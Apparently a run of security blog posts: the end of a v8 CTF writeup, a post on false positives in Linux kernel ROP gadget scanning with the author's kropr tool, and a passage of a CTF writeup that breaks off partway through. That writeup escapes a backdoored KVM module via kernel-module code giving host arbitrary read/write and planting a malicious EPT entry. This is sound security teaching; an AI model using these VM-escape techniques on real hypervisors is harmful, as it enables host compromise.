I encountered a lot of issues with differences in behavior when running the exploit directly against d8 on my host versus in the provided container and running d8 under GDB versus running it directly. Eventually, I got it working though!

Thanks for reading! I learned a ton while working on this challenge but I am still an absolute noob at v8, hopefully my writeup is coherent :p

I’m looking forwards to working on more v8 challenges in the future :)

I want to use this post to describe some of the complexity behind static ROP gadget scanning in modern Linux kernel images and discuss how I handle them in my fork of ropr called kropr.

The Executable Section Problem

Lets start with probably the most well known problem leading to false positives, the fact that generic ROP gadget scanners do not account for some sections of the kernel being only executable at boot time.

Here are all the executable regions in a Ubuntu kernel image (output from readelf):

Section Headers:
  [Nr] Name                  Type             Address           Offset
       Size                  EntSize          Flags  Link  Info  Align
  [ 1] .text                 PROGBITS         ffffffff81000000  00001000
       0000000001600000      0000000000000000  AX       0     0     4096
  [21] .init.text            PROGBITS         ffffffff838ae000  02850000
       00000000000c8725      0000000000000000  AX       0     0     16
  [22] .altinstr_aux         PROGBITS         ffffffff83976725  02918725
       00000000000032b2      0000000000000000  AX       0     0     1
  [29] .altinstr_replacement PROGBITS         ffffffff83d4728a  02ce9286
       0000000000008dcd      0000000000000000  AX       0     0     1
  [31] .exit.text            PROGBITS         ffffffff83d50090  02cf2090
       00000000000046a5      0000000000000000  AX       0     0     16

This vmlinux contains five executable sections, all of which in a normal binary would be viable locations to find ROP gadgets. However, for the Linux kernel, this is not the case.

We can see this by booting the kernel and looking at the output from the gdb-pt-dump utility in gdb, which dumps the page tables along with their permissions/attributes:

gef> pt
             Address :     Length   Permissions                 Region
...
  0xffffffff81000000 :  0x1600000 | W:0 X:1 S:1 UC:0 WB:1 G:1 | kernel
  0xffffffff82600000 :   0xda0000 | W:0 X:0 S:1 UC:0 WB:1 G:1 | kernel
  0xffffffff833a0000 :   0x9c5000 | W:1 X:0 S:1 UC:0 WB:1 G:1 | kernel
  0xffffffff83d65000 :     0x1000 | W:0 X:0 S:1 UC:0 WB:1 G:1 | kernel
  0xffffffff83d66000 :   0x69a000 | W:1 X:0 S:1 UC:0 WB:1 G:1 | kernel
...

The only executable region here matches with what we saw in the readelf output previously for the .text section. As such, the .text section is the only one we should care about when scanning for gadgets.

In kropr, I address this source of false positives by just filtering for the .text section when parsing the kernel image.

The Thunk Problem

In response to speculative execution vulnerabilities, Linux had to do some strange things to control flow instructions to mitigate particular attacks. One of these measures was to turn all returns and all calls/jumps into calls/jumps to thunks.

Here is an example of what this actually looks like:

gef> disas free_pipe_info
Dump of assembler code for function free_pipe_info:
   0xffffffff814fc470 <+0>:	nop    DWORD PTR [rax+rax*1+0x0]
   0xffffffff814fc475 <+5>:	push   rbp
   0xffffffff814fc476 <+6>:	mov    rbp,rsp
   0xffffffff814fc479 <+9>:	push   r12
   0xffffffff814fc47b <+11>:	push   rbx
...
   0xffffffff814fc4df <+111>:	mov    rax,QWORD PTR [rax+0x8]
   0xffffffff814fc4e3 <+115>:	call   0xffffffff8222fcc0 <__x86_indirect_thunk_rax>
...
   0xffffffff814fc52a <+186>:	pop    rbx
   0xffffffff814fc52b <+187>:	pop    r12
   0xffffffff814fc52d <+189>:	pop    rbp
   0xffffffff814fc52e <+190>:	xor    eax,eax
   0xffffffff814fc530 <+192>:	xor    edx,edx
   0xffffffff814fc532 <+194>:	xor    esi,esi
   0xffffffff814fc534 <+196>:	xor    edi,edi
   0xffffffff814fc536 <+198>:	jmp    0xffffffff82230460 <__x86_return_thunk>

In the above code, where you would expect to see an indirect call we instead see a call to __x86_indirect_thunk_rax, and where you would expect to see a ret instruction at the end of the function we instead see a jump to __x86_return_thunk.

These thunks are actually due to mitigations against two different microarchitectural vulnerabilities. One of which is Spectre V2, which can be mitigated via retpolines. This is the mitigation that adds __x86_indirect_thunk_<register> calls to the code in place of the expected call <register> instructions. The other vulnerability is Retbleed, which can be mitgated via a jmp2ret (more details can be found in the retbleed paper), which is the mitigation that adds __x86_return_thunk jumps in place of return instructions.

So, how do these thunks affect ROP gadget scanning? Well, they actually cause some pretty major problems…

False Negatives From Thunks

Here is an example of some output from kropr, ropr, and ROPgadget:

┌──(jmill@ubun)-[~]
└─$ kropr --patch-rets=false --patch-retpolines=false ./ubuntu-vmlinux | grep 0xffffffff8191f11c
0xffffffff8191f11c: pop rdi; jmp 0xffffffff82230460 <__x86_return_thunk>;

==> Found 175774 gadgets in 1.579 seconds

┌──(jmill@ubun)-[~]
└─$ ropr ./ubuntu-vmlinux | grep 0xffffffff8191f11c

==> Found 456762 gadgets in 2.583 seconds

┌──(jmill@ubun)-[~]
└─$ ROPgadget --binary ./ubuntu-vmlinux | grep 0xffffffff8191f11c
0xffffffff8191f11c : pop rdi ; jmp 0xffffffff82230460

( ignore the kropr flags for now, we’ll get to those later )

You can see there is a pop rdi; ret; gadget that ropr is entirely unable to find because they do not account for thunked returns. On the other hand, ROPgadget is actually able to find it, but its output makes it unclear that this is actually a ROP gadget rather than a JOP (Jump Oriented Programming) gadget.

So, this is an instance of a false negative in the case of ropr, and a true positive that is difficult to visually parse in the case of ROPgadget which may lead to it being overlooked.

I address this in kropr, as can be seen in the above output, by adding symbol names for thunked calls/jumps/returns.

False Positives From Thunks

So, as we saw, thunks can introduce false negatives, but as it turns out they can also introduce false positives!

Here is an example of two gadgets found by kropr:

0xffffffff810c41ff: jmp 0xffffffff82230460 <__x86_return_thunk>;
0xffffffff810c4200: pop rsp; ret 0x116;

Notice that these gadgets are 1 byte apart in memory, the second gadget actually starts with an unaligned instruction in the second byte of the jump instruction in the first gadget. This is kind of interesting, because normally ret is a single byte instruction (0xc3) meaning there cannot be an unaligned instruction inside of it, but as a result of these mitigations we now have these extra unaligned gadgets.

So… that second gadget is real, right?

Well, maybe?

The thing is, __x86_return_thunk is, as was stated, a mitigation against the Retbleed vulnerability. Retbleed only impacted AMD’s Zen 1-2 CPUs, and this mitigation comes with a performance hit. To dodge that perf hit on unaffected CPUs, Kernel developers made it so these thunks are conditionally applied at runtime. The kernel will actually patch itself during startup depending on what CPU you are running it on.

If you are running Zen 1-2 CPU affected by Retbleed, then it is a real gadget, it will be present at runtime. On other CPUs, which are not affected by Retbleed, these gadgets are false positives because the thunk will be patched to something else.

As an example, lets check on my Zen 3 CPU running this kernel under Qemu with KVM enabled and the --cpu host argument being passed:

gef> x/i 0xffffffff810c41ff
   0xffffffff810c41ff:	jmp    0xffffffff8250410b <srso_alias_return_thunk>
gef> x/i 0xffffffff810c41ff+1
   0xffffffff810c4200:	(bad)

wat.

So, Zen 3 is actually vulnerable to an entirely different return instruction related speculative execution vulnerability called Speculative Return Stack Overflow (SRSO, aka Inception). This vulnerability has its own thunk, srso_alias_return_thunk that gets patched over the jmp __x86_return_thunk instructions at boot if your CPU is vulnerable to SRSO.

So, I guess its at this point that I wrap up the blog and admit that static ROP gadget discovery for the Linux kernel is impractical to do without some false negatives/positives or full knowledge of all of the CPU features and mitigations applicable to the target system.

Or it would be, but actually I’m not done yapping quite yet !!!

Thunk Patching

Just because it is impractical to account for all possible CPUs someone might be using, doesn’t mean it isn’t worth trying to make a reliable ROP gadget scanner! What I want is a happy medium default configuration between having low false negatives but eliminating as many false positives as possible.

In kropr, to deal with the thunks problem I actually patch out all of the thunk calls/jump/returns by default, eliminating false positives from unaligned instructions inside thunks while having a nice side effect of making gadgets that contain thunks look more like you would expect them to.

If you remember from earlier in the post I said to ignore the arguments in this command:

┌──(jmill@ubun)-[~]
└─$ kropr --patch-rets=false --patch-retpolines=false ./ubuntu-vmlinux | grep 0xffffffff8191f11c
0xffffffff8191f11c: pop rdi; jmp 0xffffffff82230460 <__x86_return_thunk>;

Well, here is the output without those arguments (though I needed to add --nouniq to prevent the gadget from being deduplicated with the other pop rdi; ret gadgets):

┌──(jmill@ubun)-[~]
└─$ kropr --nouniq ./ubuntu-vmlinux | grep 0xffffffff8191f11c
0xffffffff8191f11c: pop rdi; ret;

Kinda nice, eh? its not a thunk anymore, its just a normal return!

And the same is true of retpoline thunks:

┌──(jmill@ubun)-[~]
└─$ kropr --patch-retpolines=false ./ubuntu-vmlinux | grep 0xffffffff810efe0b
0xffffffff810efe0b: jmp 0xffffffff8222fda0 <__x86_indirect_thunk_rdi>;

┌──(jmill@ubun)-[~]
└─$ kropr --nouniq ./ubuntu-vmlinux | grep 0xffffffff810efe0b
0xffffffff810efe0b: jmp rdi;

Its just a normal jump now!

Additionally, the case earlier with the unaligned instruction inside the ret thunk has also been addressed, because the return is back to being a single-byte instruction:

Before:
0xffffffff810c41ff: jmp 0xffffffff82230460 <__x86_return_thunk>;
0xffffffff810c4200: pop rsp; ret 0x116;

After:
0xffffffff810c41ff: ret;

So, what is this witchcraft? am I doing some cursed post-processing string replacement?

Nope, but honestly that might have been easier!

Instead, what I do in kropr is partially re-implent the kernel’s self-patching routine that happens when a CPU is not vulnerable to any vulnerabilities that necessitate thunked calls, jumps, or returns. The code that does this in Linux can be found here for returns, and here for retpoline jumps/calls.

In short, for returns it iterates over the entries in the .return_sites section of the kernel image, which contains offsets to all of the jump instructions to thunked returns. It then replaces the thunks with a ret instruction followed by four int3 instructions to replace the entire jump instruction.

For retpolines it iterates of the entries in the .retpoline_sites section of the kernel image, which contains offsets to all of the calls/jumps to retpoline thunks. For each instruction it will decode the instruction to determine which register the thunk corresponds to and whether it is a call or jump instruction. It then patches over the existing thunk instruction with the typical version (e.g. call __x86_indirect_thunk_rdi becomes call rdi) and then fills the remaining space after the previous instruction with nop instructions.

There is some additional complexity in each of these routines that I’m glossing over which deals with various kernel configurations and other microarchitectural mitigations, but they aren’t all that important for the purposes of finding reliable gadgets.

The Alternatives Problem

As though the Thunk Problem wasn’t enough of a doozy, dealing with ‘alternatives’ is even more painful, I don’t even try to account for them at the moment in kropr!

So, what is an ‘alternative’?

The Linux kernel supports many different x86_64 processors that support many different hardware features, some of these features determine whether some instructions are valid on the processor or not. Newer generations of processors may introduce new instructions which are related to security features or even just provide a faster alternative to an existing instruction.

Alternatives, in the context of the Linux kernel, account for this case where an instruction at some address should be some instruction by default but should be a different instruction if the CPU features allow it.

For example, CPUs started to support SMAP (Supervisor Mode Access Prevention) in 2012, which introduced two instructions – stac and clac. The stac instruction sets a bit in the eflags register which temporarily disables the enforcement of SMAP, and the clac instruction clears that bit reenabling the enforcement of SMAP. If you’ve ever wondered how the function copy_from_user in the kernel works when SMAP is enabled, this is how. They do stac -> memory read -> clac, temporarily bypassing SMAP enforcement for the access of userspace memory.

On a CPU that doesn’t support the SMAP feature, these instructions would raise an Invalid Opcode exception. This means that the kernel needs to only use the stac and clac instructions in copy_from_user if the SMAP feature is actually supported. Alternatives are what make this possible.

There is section of the kernel image for alternatives called .altinstructions which specifies

• A location for an instruction that should be conditionally replaced
• An offset into another section called .altinstr_replacement which contains the alternate instruction’s code
• A ‘cpuid’ value representing a CPU feature related to this alternative
• A ‘flags’ value used to specify additonal information about when the alternative should be applied
• The length of the original instruction
• The length of the replacement instruction

The actual struct for these entries in the .altinstructions section that is used by the kernel can be found here.

Since these instructions can be replaced during boot, they serve as a source of both false positives and false negatives. An instruction in a gadget might be replaced at runtime, creating a false positive, and a useful instruction could only be present at runtime creating a false negative.

When doing static ROP gadget scanning there is no way to know what CPU the user is targeting without their input. The data from the host’s CPU could be enumerated via cpuid but that will be different than the set of CPU features supported in a Qemu VM, even if using KVM and passing the --cpu host! If the VM specifies --cpu kvm64 or --cpu qemu64 the set of features will be even less similar to that of the host.

I think there are a few options to address this problem:

• Allow the user to provide a CPUID dump or /proc/cpuinfo content from the target kernel
• Allow the user to specify a CPU model and have a database of what features common CPUs support
• Provide an option that filters out any gadgets that overlap with any of the instructions in .altinstructions to remove any false positives
• Provide a reasonable default configuration of alternatives to apply, e.g., I think we can assume that most CPUs support SMAP related instructions these days

While I do want to support some of these in kropr eventually, none of these options are currently implemented. I don’t think alternatives have a major impact on the number of false positives/negatives, at least not anywhere near as bad as the other problems I discussed. All of these replacements are related to the CPU architecture, which means there aren’t that many of them and the replacements mostly add instructions that are not typically used in ROP chains.

The Conclusion Problem

Thanks for reading, that’s all I’ve got :3

This whole rabbit hole of trying to improve Linux kernel ROP gadget discovery was really fun to go down, and led to the creation of what I think is a pretty useful tool!

At this point kropr has existed as a fork for a bit over a year and I’ve been using it or kernel pwn since its creation. Despite never really advertising it outside of my lab its actually gained a decent amount of attention, which is always nice to see. Anyways, if you do any Linux kernel pwn you should check it out and open an issue on the repo if you run into any problems while using it!

Github Link: https://github.com/zolutal/kropr

This will be a writeup for ‘trojan-turtles’, a challenge which involved exploiting a backdoored KVM kernel module from a guest VM to read the flag located on the parent VM.

NOTE: In this challenge we are given code execution in an L2 guest (guest inside another guest). When I refer to the ‘host’ in this writeup I’m referencing the parent VM of the one we are given code execution which has the vulnerability inserted in it, really it is the L1 guest but I think it is easier to just think of it as the host in the context of the challenge since the real host VM is transparent to us.

Here is the challenge description:

A mysterious person who goes by Tia Jan recently replaced our nested hypervisor's Intel KVM driver with a new driver.
Can you take a look at this and see if our systems have been compromised?

Note that the goal of this challenge is to escape from the L2 guest to the root user on the L1 guest.
You will need an Intel system with modern VMX extensions to debug this challenge.

The L1 guest is running a 6.9.0 kernel with the provided kconfig below. The L2 guest is running a 5.15.0-107 Ubuntu HWE kernel.
You can retrieve the necessary headers from the following links:
- https://packages.ubuntu.com/focal/linux-headers-5.15.0-107-generic
- https://packages.ubuntu.com/focal-updates/linux-hwe-5.15-headers-5.15.0-107

You can download the 6.9.0 kernel source at https://cdn.kernel.org/pub/linux/kernel/v6.x/linux-6.9.tar.xz

dist:

• bzImage
• chall.qcow2
• kconfig
• kvm-intel-original.ko
• kvm-intel-new.ko
• run.sh
• linux-headers-5.15.0-107-generic_5.15.0-107.117~20.04.1_amd64.deb
• linux-hwe-5.15-headers-5.15.0-107_5.15.0-107.117~20.04.1_all.deb

exploit: exploit.c

Background

Given that this challenge is about ‘escaping KVM’, I figured I’d provide some background on KVM and virtualization.

what is it

KVM stands for ‘Kernel-based Virtual Machine’, and it provides an in-kernel api for creating virtual machines. Essentially its purposes are to abstract a lot of the vendor specific implementations of virtualization features, e.g. Intel’s VMX and AMD’s SVM, and provide an API to userspace through which the privileged operations required for configuring virtualization may be performed.

The API is implemented as a device driver “/dev/kvm” with various commands that can be issued via ioctl. This means, for example, that rather than needing to understand your processor vendor’s virtualization features and write your own kernel module to set a VM’s registers you can simply use the KVM_SET_REGS command. You can read more about the KVM API in the kenel docs here: https://docs.kernel.org/virt/kvm/api.html

KVM can either be compiled into the kernel or compiled as a separate kernel module, e.g. kvm-intel.ko. This depends on the config that was used to compile the kernel, if CONFIG_KVM_INTEL is set to y it will be compiled in to the kernel image, if it is set to ‘m’ it will be a kernel module.

When you execute qemu-system with --enable-kvm Qemu uses the KVM API rather than doing emulation.

hardware assisted virtualization

There are several methods for creating virtual machines, including trap-and-emulate, hardware assisted virtualization, and full emulation. In the case of KVM, we are dealing with hardware assisted virtualization. This is a really cool feature of modern CPUs where you can enter into an execution mode that uses a different state – registers, address space, etc. – which is isolated from your host’s state.

Certain operations that the VM performs will cause a ‘VMEXIT’, exiting the virtualization for the host to handle the operations. What operations cause VMEXITs is configurable but some common VMEXITs are the result of IO/MMIO operations, halts, the cpuid instruction, and shutdowns. One especially relevant class of instructions that can be handled via VMEXITs is virtualization instructions, the same instructions that KVM will use to setup and modify VM state, which allows you to create hardware assisted VMs inside of other hardware assisted VMs.

Hardware assisted virtualization enables a better version of what trap-and-emulate wants to achieve, since with hardware virtualization not every privileged instruction needs to be emulated by the host kernel. The processor can handle most of the privileged instructions in the virtualized guest’s context but certain operations can still trap via a VMEXIT to the host kernel to be emulated.

Diffing

Based on the description and the two versions of kvm-intel.ko attached to the challenge, we can assume the vulnerability is in the .ko and not in the bzImage. Seeing this, I did some highly-advanced-binary-diffing(tm) by opening the kernel modules in binary ninja, exporting the HLIL of each to a file and diffing them.

The constant 0x1337babe stood out in the diff, probably the backdoor we were looking for:

>                 label_1f0ac:
>                 int64_t rax_8
>                 int64_t rsi_7
>                 rax_8, rsi_7 = kvm_get_dr(rbp, 0)
>
>                 if (rax_8 == 0x1337babe)
>                     int64_t rax_28 = kvm_get_dr(rbp, 1)
>                     int64_t rax_29
>                     rax_29, rsi_7 = kvm_get_dr(rbp, 2)
>                     *(r12 + (rax_28 << 3)) = rax_29
>

On closer inspection there were two locations where that constant appeared: in the functions handle_vmread and handle_vmwrite

Analyzing the Backdoor

So we found suspicious code but what does that code do?

As I mentioned earlier, virtualization instructions can cause VMEXITs to be handled by the parent VM. Two such virtualization instructions are ‘vmread’ and ‘vmwrite’, which correspond to the two handler functions modified in the provided kvm-intel.ko.

In the context of this challenge we have code execution in a guest VM of the VM that has the vulnerable KVM module. So reasonably to hit the vulnerable code it would make sense that we just need to execute the related instruction in our VM.

Taking a closer look at those modified functions:

int64_t handle_vmread(void* arg1)
    void* rbp = arg1
    void* r15 = *(arg1 + 0x1c78)
    void* gsbase
    int64_t rax = *(gsbase + 0x28)
    ...
                int64_t rax_9
                rax_9, rsi_1 = kvm_get_dr(rbp, 0)

                if (rax_9 == 0x1337babe)
                    rsi_1 = kvm_set_dr(rbp, 2, *(r15 + (kvm_get_dr(rbp, 1) << 3)))

We see in handle vmread that the introduced code is using the kvm_get_dr function to read the guest’s debug registers. In steps it:

• reads dr0 and checks that it’s value matches 0x1337babe
• reads dr1, shifts its value left by 3, adds it to whatever is in r15, and dereferences that value
• sets the value it read based on dr1 into dr0

From this we realized it is effectively an arbitrary read relative to the value in r15. After reading the orignal source it became clear that this is the pointer to our VMCS (the one we just allocated in our guest), in the host’s address space:

static int handle_vmread(struct kvm_vcpu *vcpu)
{
    struct vmcs12 *vmcs12 = is_guest_mode(vcpu) ? get_shadow_vmcs12(vcpu)
                            : get_vmcs12(vcpu);
...

After a peek at the handle_vmwrite function:

int64_t handle_vmwrite(void* arg1)
    void* rbp = arg1
    void* r12 = *(arg1 + 0x1c78)
    void* gsbase
    int64_t rax = *(gsbase + 0x28)
    ...
                    rax_8, rsi_7 = kvm_get_dr(rbp, 0)

                    if (rax_8 == 0x1337babe)
                        int64_t rax_28 = kvm_get_dr(rbp, 1)
                        int64_t rax_29
                        rax_29, rsi_7 = kvm_get_dr(rbp, 2)
                        *(r12 + (rax_28 << 3)) = rax_29

It became clear that this was an arbitrary write based on also relative to our VMCS based on the offset in dr1 and value in dr2.

Hitting the Backdoor

Unfortunately hitting those handlers wasn’t quite so simple.

To be able to execute the vmread/vmwrite instructions some setup is required. Thankfully, I got some help from a teamate who is far more familiar with Intel’s virtualization features than I am when figuring this part out. The vmread and vmwrite instructions are for interacting with the “Virtual-Machine Control Structure” (VMCS), but at the moment in our VM the virtualization feature isn’t enabled and we don’t have a valid VMCS.

Also note that all of the virtualization instructions are privileged so the exploit code snippets in this post are part of a kernel module.

So first I enabled the VMX feature by setting the VMXE bit in cr4:

    cr4 = native_read_cr4();
    cr4 |= 1ul << 13;
    native_write_cr4(cr4);

Next I had to create a valid VMXON region and VMCS, which is done by allocating two pages, setting the vmcs_revision value into the start of the page, then executing vmxon and vmptrld with the physical addresses of those pages:

    vmxon_page = kzalloc(0x1000, GFP_KERNEL);
    vmptrld_page = kzalloc(0x1000, GFP_KERNEL);

    vmxon_page_pa = virt_to_phys(vmxon_page);
    vmptrld_page_pa = virt_to_phys(vmptrld_page);

    *(uint32_t *)(vmxon_page) = vmcs_revision();
    *(uint32_t *)(vmptrld_page) = vmcs_revision();

    res = vmxon(vmxon_page_pa);
    res = vmptrld(vmptrld_page_pa);

My teamate linked me this resource which provides some more specific information on this stuff and was extremely helpful: https://wiki.osdev.org/VMX

Finally, after doing that setup, we can execute the vmread/vmwrite instructions to hit the vulnerable code as such:

    asm volatile("vmread %[field], %[output]\n\t"
          : [output] "=r" (vmread_value)
          : [field] "r" (vmread_field) : );

    asm volatile("vmwrite %[value], %[field]\n\t"
          :
          : [field] "r" (vmwrite_field),
            [value] "r" (vmwrite_value) : );

Exploitation

The exploitation for this challenge was really fun, I think the most clear path for exploitation would have been to create a ROP chain in the host’s address space, which reads the flag into the guest’s address space, and cause a stack pivot to it. But my teamate suggested a path that sounded more interesting: messing with Extended Page Table (EPT) feature to map the host’s address space into the guest.

It sounded like a fun approach to try so I went for it, but I knew nothing about EPT and getting to the point where I could even interact with EPT was pretty challenging.

the goal

So the plan is either:

Find the host’s VMCS for the VM we are executing in and hijack the Extended Page Table Pointer (EPTP) in the structure to point to a forged EPT.

- OR -

Find the existing EPT, by reading the EPTP, for our VM and insert entries to map all of the host’s memory into the guest.

The approach I ended up going for was writing entries into the existing EPT for the guest. The challenge here is we needed to find the VMCS for the guest VM to find the EPTP, and we will need information about the host’s memory layout to know the offset to the existing EPT to modify and to walk one level of the EPT .

finding the guest VMCS

The VMCS we created, and which we have relative arb read/write from, is allocated somewhere in the host’s heap. Which is convenient because it means we have access to the kernel’s physmap, containing everything we could possibly want to read or write.

For this purpose I turned the arbitrary read in handle_vmread into this primitive, which just sets db0, db1, executes a vmread, then returns the value of dr2:

static noinline uint64_t read_guy(unsigned long offset) {
    uint64_t val = 0;

    uint64_t vmread_field = 0;
    uint64_t vmread_value = 0;

    native_set_debugreg(0, 0x1337babe);
    native_set_debugreg(1, offset);
    asm volatile( "vmread %[field], %[output]\n\t"
              : [output] "=r" (vmread_value)
              : [field] "r" (vmread_field) : );
    val = native_get_debugreg(2);

    return val;
}

Now we were able to start scanning the host’s memory to find the guest’s VMCS! But there was still the question of what value are we actually looking for when scanning…

Here is a truncated definition of the struct vmcs12 that we are looking for:

struct __packed vmcs12 {
    /* According to the Intel spec, a VMCS region must start with the
     * following two fields. Then follow implementation-specific data.
     */
    struct vmcs_hdr hdr;
    u32 abort;

    u32 launch_state; /* set to 0 by VMCLEAR, to 1 by VMLAUNCH */
    u32 padding[7]; /* room for future expansion */

    u64 io_bitmap_a;
    u64 io_bitmap_b;
    u64 msr_bitmap;
    u64 vm_exit_msr_store_addr;
    u64 vm_exit_msr_load_addr;
    u64 vm_entry_msr_load_addr;
    u64 tsc_offset;
    u64 virtual_apic_page_addr;
    u64 apic_access_addr;
    u64 posted_intr_desc_addr;
    u64 ept_pointer;
    ...
    natural_width guest_gdtr_base;
    natural_width guest_idtr_base;
    natural_width guest_dr7;
    natural_width guest_rsp;
    natural_width guest_rip;
    natural_width guest_rflags;
    ...
};

From the fields in this struct I looked for fields that would be fairly unique and that I knew the value of, I ended up choosing the guest_idtr_base. Conveniently, the VMCS is required to be page aligned so I just needed to look for the IDT base address 0xfffffe0000000000 at offset 0x208 at at page granularity:

static noinline int find_l1_vmcs(uint64_t *l1_vmcs_offset) {
    unsigned long long pos_offset = 0, neg_offset = 0;
    uint64_t zero_val = 0, pos_val = 0, neg_val = 0;
    uint64_t found_val = 0, found_offset = 0;
    uint64_t i = 0;

    zero_val = read_guy(0ull);
    pr_info("vmcs12[0] = %llx\n", zero_val);

    // scan in each direction looking for the guest_idtr_base field of the l1 vm
    for (i = 0; i < 0x4000; i++) {
        // from attaching to the l1 guest, the address of guest_idtr_base always has 0x208 in the lower 3 nibbles
        pos_offset = ((i * 0x1000) + 0x208) / 8;
        neg_offset = ((i * -1 * 0x1000) + 0x208) / 8;

        pos_val = read_guy(pos_offset);
        if (pos_val == IDT_BASE) {
            found_val = pos_val;
            found_offset = pos_offset;
            break;
        }

        neg_val = read_guy(neg_offset);
        if (neg_val == IDT_BASE) {
            found_val = neg_val;
            found_offset = neg_offset;
            break;
        }
    }
    if (found_val == 0) {
        pr_info("[exp]: IDT NOT FOUND :(\n");
        *l1_vmcs_offset = 0;
        return 0;
    } else {
        pr_info("[exp]: Found IDT in l1 at offset %lld; value: %llx\n", found_offset, found_val);
        *l1_vmcs_offset = found_offset;
        return 1;
    }
}

finding the address of the nested VMCS

After finding this, I wanted to figure out the virtual address the arb read/write is relative to in the host. I realized as I was reading the handle_vmread function that the nested_vmx struct holds a pointer to the nested guest’s VMCS: cached_vmcs12. It also contains some fields we know the values of: vmxon_ptr and current_vmptr which are the guest physical addresses for the VMXON region and VMCS we created.

struct nested_vmx {
    /* Has the level1 guest done vmxon? */
    bool vmxon;
    gpa_t vmxon_ptr;
    bool pml_full;

    /* The guest-physical address of the current VMCS L1 keeps for L2 */
    gpa_t current_vmptr;
    /*
     * Cache of the guest's VMCS, existing outside of guest memory.
     * Loaded from guest memory during VMPTRLD. Flushed to guest
     * memory during VMCLEAR and VMPTRLD.
     */
    struct vmcs12 *cached_vmcs12;
    ...
}

So we can just scan for those two values:

static noinline int find_nested_vmx(uint64_t *nested_vmx_offset) {
    unsigned long long pos_offset = 0, neg_offset = 0;
    uint64_t zero_val = 0, pos_val = 0, neg_val = 0;
    uint64_t found_val = 0, found_offset = 0;
    uint64_t i = 0;

    zero_val = read_guy(0ull);
    pr_info("vmcs12[0] = %llx\n", zero_val);

    for (i = 1; i < (0x4000*0x200); i += 2) {
        pos_offset = i;
        neg_offset = -i;

        pos_val = read_guy(pos_offset);
        if (pos_val == vmptrld_page_pa && read_guy(pos_offset-2) == vmxon_page_pa) {
            found_val = pos_val;
            found_offset = pos_offset;
            break;
        }
    }
    if (found_val == 0) {
        pr_info("[exp]: L1 VMCS NOT FOUND :(\n");
        *nested_vmx_offset = 0;
        return 0;
    } else {
        pr_info("[exp]: Found vmcs in l1 at offset %lld; value: %llx\n", found_offset, found_val);
        *nested_vmx_offset = found_offset;
        return 1;
    }
}

leaking values

With this we were done with memory scanning!

We were then able to read fields of these two structures to find:

• Where the nested VMCS is in virtual memory, via cached_vmcs12
  • We can also apply a bitmask this address to get phsymap base
• The EPTP from the ept_pointer field on the vmcs12 struct we found

    // offset+1 to go from current_vmptr to cached_vmcs12
    l2_vmcs_addr = read_guy(nested_vmx_offset+1);
    pr_info("[exp]: YOU ARE HERE: %llx\n", l2_vmcs_addr);

    physbase = l2_vmcs_addr & ~0xfffffffull;
    pr_info("[exp]: probably physbase: %llx\n", l2_vmcs_addr & ~0xfffffff);

    eptp_value = read_guy(l1_vmcs_offset-50);
    pr_info("[exp]: eptp_value: %llx\n", eptp_value);

We calculated the offset to the EPT of the guest we are in using the knowledge of where our nested VMCS is, physmap base, and the EPTP (which is a physical address in the host):

    ept_addr = physbase + (eptp_value & ~0xfffull);
    pr_info("[exp]: ept_addr: %llx\n", ept_addr);

    ept_offset = (ept_addr-l2_vmcs_addr) / 8;
    pr_info("[exp]: ept_offset: %llx\n", ept_offset);

EPT hijacking

With this knowledge we were able to read and write the EPT of the guest, and at this point it was time for me to actually figure out how this EPT stuff works.

I’m just going to give a TL;DR on this because this blog is already really long…

It turns out that if you understand how regular x86_64 page tables work, extended page tables are very intuitive. If you don’t understand those, then learn how those work first.

• First the pagetables in the guest are walked as normal to convert the guest virtual address to a guest physical address
• Next, the EPTP is used to determine the address of the physical address of the EPT in the host, you can think of this as the cr3 of EPT
• Then a pagewalk starts on the EPT page tables converting the guest physical address to a host physical address
  • The procedure for this pagewalk is very similar to a normal pagewalk, you calculate the offsets into each level of the pagetable in the same way you do for linear to physical address conversion (e.g. shift right by 12, 9-bit bitmasks, etc.)

Also similar to normal paging there are huge pages in EPT! So the plan was to construct an EPT 1GB Huge Page mapping, which needs to be in the PDPT (3rd level).

I walked one level of EPT by reading the first entry in the PML4 (4th level) to get the physical address of the PDPT. There was only one entry in the EPT PGD because of the amount of RAM the VM had wasn’t nearly enough to justify a second top level entry.

Here is what the EPT PML4 and PDPT look like in memory:

gef> # physmap base:
gef> p/x 0xffff8d74c0000000
$22 = 0xffff8d74c0000000

gef> # EPTP value:
gef> p/x 0x299405e
$23 = 0x299405e

gef> # EPT PML4 addr:
gef> p/x 0xffff8d74c0000000 + (0x299405e & ~0xfff)
$24 = 0xffff8d74c2994000
gef> # EPT PML4 contents:
gef> x/4gx 0xffff8d74c2994000
0xffff8d74c2994000:     0x0000000002482907      0x0000000000000000
0xffff8d74c2994010:     0x0000000000000000      0x0000000000000000

gef> # the EPT PML4 has one entry: 0x0000000002482907
gef> # EPT PDPT addr:
gef> p/x 0xffff8d74c0000000 + (0x0000000002482907 & ~0xfff)
$25 = 0xffff8d74c2482000
gef> # EPT PDPT contents:
gef> x/8gx 0xffff8d74c2482000
0xffff8d74c2482000:     0x0000000002377907      0x0000000000000000
0xffff8d74c2482010:     0x0000000000000000      0x000000000254d907
0xffff8d74c2482020:     0x0000000000000000      0x0000000000000000
0xffff8d74c2482030:     0x0000000000000000      0x0000000000000000

To insert the malicious EPT entry we wrote 0x987 into an entry in the EPT PDPT which means – map 1GB of host physical memory starting from physical address zero to the guest physical address associated with this entry.

• The 0x9 nibble maps to the ‘accessed’ and ‘ignored’ bits (oops lol these don’t matter)
• The 0x8 nibble maps to the page size bit that indicates this is 1GB mapping
• The 0x7 nibble maps to the read, write, and ‘mode-based execute’ (whether ring 0 in the guest can fetch instructions from this memory) bits

Peep the Intel SDM Vol. 3C Section 29.3.2 if you want specifics on the layouts of these entries.

Here is walking the EPT PML4 and installing the malicious PDPT entry in C:

    // read first entry in ept to get the PML4E
    pml4e_value = read_guy(ept_offset);
    pr_info("[exp]: pml4e_value: %llx\n", pml4e_value);

    pml4e_addr = physbase + (pml4e_value & ~0xfffull);
    pr_info("[exp]: pml4e_addr: %llx\n", pml4e_addr);

    pml4e_offset = (pml4e_addr-l2_vmcs_addr) / 8;
    pr_info("[exp]: pml4e_offset: %llx\n", pml4e_offset);

    // at 6GB will be an identity mapping of the l1 memory in l2
    write_guy(pml4e_offset + 6, 0x987);

Then we were able to just mess with the guest’s page tables a bit and create a 1GB mapping that points to the guest physical address assocated with the malicious EPT PDPT entry we installed. The entry was installed at the 6th entry in the EPT PDPT which associates it with the physical address 6<<30 (6GB), so we made a PDPT in the guest’s page tables point to that address:

    cr3 = read_cr3();
